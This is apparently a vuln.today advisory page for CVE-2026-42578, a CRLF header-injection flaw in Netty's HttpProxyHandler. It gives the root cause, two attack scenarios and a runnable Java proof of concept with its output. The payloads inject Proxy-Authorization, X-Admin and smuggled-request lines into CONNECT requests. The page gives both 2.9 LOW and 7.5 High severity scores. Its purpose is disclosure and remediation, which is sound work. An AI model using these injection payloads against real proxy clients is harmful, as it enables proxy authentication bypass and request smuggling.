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Netty HttpProxyHandler CVE-2026-42578

LOW
HTTP Response Splitting (CWE-113)
2026-05-07 https://github.com/netty/netty GHSA-45q3-82m4-75jr
2.9
CVSS 4.0 · Vendor: https://github.com/netty/netty

Severity by source

Vendor (https://github.com/netty/netty) PRIMARY
2.9 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from Vendor (https://github.com/netty/netty) · only source for this CVE.

CVSS VectorVendor: https://github.com/netty/netty

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

4
CVSS changed
May 13, 2026 - 19:22 NVD
2.9 (LOW)
Source Code Evidence Fetched
May 07, 2026 - 00:33 vuln.today
Analysis Generated
May 07, 2026 - 00:33 vuln.today
CVE Published
May 07, 2026 - 00:11 nvd
LOW

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 2 maven packages depend on io.netty:netty-handler-proxy (2 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

DescriptionCVE.org

Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty

1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions)
Componentio.netty.handler.proxy.HttpProxyHandler
Vulnerability TypeCWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
ImpactHTTP Header Injection in CONNECT Proxy Requests
CVSS 3.1 Score7.5 (High)
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Related AdvisoryGHSA-84h7-rjj3-6jx4 (Incomplete Fix)

2. Affected Components

  • io.netty.handler.proxy.HttpProxyHandler - newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)

3. Vulnerability Description

Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.

Root Cause

java
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
    // ...
    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
        .withValidation(false);  // <-- VALIDATION EXPLICITLY DISABLED

    FullHttpRequest req = new DefaultFullHttpRequest(
        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

    req.headers().set(HttpHeaderNames.HOST, hostHeader);

    if (authorization != null) {
        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
    }

    if (outboundHeaders != null) {
        req.headers().add(outboundHeaders);  // <-- USER HEADERS ADDED WITHOUT VALIDATION
    }

    return req;
}

The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.

Incomplete Fix of GHSA-84h7-rjj3-6jx4

This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.

The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:

  1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
  2. User-provided outboundHeaders are added without any CRLF check
  3. The resulting CONNECT request contains unvalidated headers on the wire

This is not a new vulnerability class - it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

  1. An application uses HttpProxyHandler with user-influenced outboundHeaders
  2. The application does not perform its own CRLF sanitization on header values

Common affected patterns:

  • HTTP proxy clients that forward user-specified custom headers
  • Web scraping frameworks that allow users to set proxy headers
  • API gateways that pass user headers through a proxy tunnel

5. Attack Scenarios

Scenario 1: Proxy Authentication Bypass

java
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput);  // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);

Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="

Wire format:

CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4=    <-- INJECTED

The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.

Scenario 2: Request Smuggling via Proxy

Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"

Injects a full smuggled request through the proxy tunnel establishment.

6. Proof of Concept

Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)

java
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HttpProxyHandler Header Injection PoC ===

[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
  Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
  Header accepted: YES (validation disabled!)
  Wire format:
    CONNECT target.com:443 HTTP/1.1\r
    host: target.com:443\r
    X-Forwarded-For: 1.2.3.4\r
    X-Forwarded-For: 127.0.0.1\r          <-- INJECTED
    X-Admin: true\r                        <-- INJECTED
    \r

  Injected X-Admin header in wire: true
  VULNERABLE: YES

[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
  With validation=true:
    SAFE: Rejected - IllegalArgumentException
  With validation=false:
    VULNERABLE: Accepted CRLF in header value!
    Stored value contains CRLF: true

7. Remediation Recommendations

Option 1: Remove withValidation(false)

java
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();

Option 2: Validate outboundHeaders Before Adding

java
if (outboundHeaders != null) {
    for (Map.Entry<String, String> entry : outboundHeaders) {
        HttpUtil.validateHeaderValue(entry.getValue());
    }
    req.headers().add(outboundHeaders);
}

8. Resources

AnalysisAI

HTTP header injection via CRLF sequences in Netty's HttpProxyHandler allows remote attackers to inject arbitrary HTTP headers into CONNECT proxy requests by supplying malicious outbound headers, bypassing the incomplete fix for GHSA-84h7-rjj3-6jx4. The vulnerability affects Netty 4.1.x up to 4.1.132.Final and 4.2.x up to 4.2.12.Final; unauthenticated remote exploitation is possible when applications pass user-influenced headers to HttpProxyHandler without performing their own CRLF sanitization. CVSS 7.5 (high integrity impact); no public exploit code confirmed at time of analysis, but proof-of-concept source code is provided in the advisory.

Technical ContextAI

Netty's HttpProxyHandler component constructs HTTP CONNECT requests used to establish proxy tunnels. The vulnerability exists in the newInitialMessage() method (line 176 of HttpProxyHandler.java), which explicitly disables header validation by calling DefaultHttpHeadersFactory.headersFactory().withValidation(false). This bypasses the header validation mechanisms introduced in the earlier GHSA-84h7-rjj3-6jx4 fix (CWE-113 neutralization). The outboundHeaders parameter, supplied from the HttpProxyHandler constructor and sourced from application code, is added to the request without CRLF validation (lines 188-190). This allows CRLF sequences (carriage return line feed: \r\n) to be embedded in header values, enabling injection of additional HTTP headers on the wire. The root cause is the explicit opt-out from validation rather than a logic error, making this a configuration-level vulnerability in the library design. Affected CPE: pkg:maven/io.netty:netty-handler-proxy versions 4.1.x through 4.1.132.Final and 4.2.0.Alpha1 through 4.2.12.Final.

RemediationAI

Vendor-released patches are available: upgrade to Netty 4.1.133.Final or later for the 4.1.x branch, or upgrade to Netty 4.2.13.Final or later for the 4.2.x branch. These patched versions remove the explicit withValidation(false) call or add CRLF validation before adding outbound headers. Applications unable to upgrade immediately should implement compensating controls: validate all header values passed to HttpProxyHandler constructors to remove or reject CRLF sequences (\r and \n characters) before instantiation, or restrict HttpProxyHandler usage to trusted internal code paths that do not accept user-influenced header input. Disable or restrict access to proxy functionality if it is not required for the application's use case. The advisory at https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr provides fix details. No workarounds bypass the core issue without patching or external validation, as the vulnerability is in the library's explicit opt-out from validation; sanitizing headers in calling code is the only interim mitigation.

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CVE-2026-42578 vulnerability details – vuln.today

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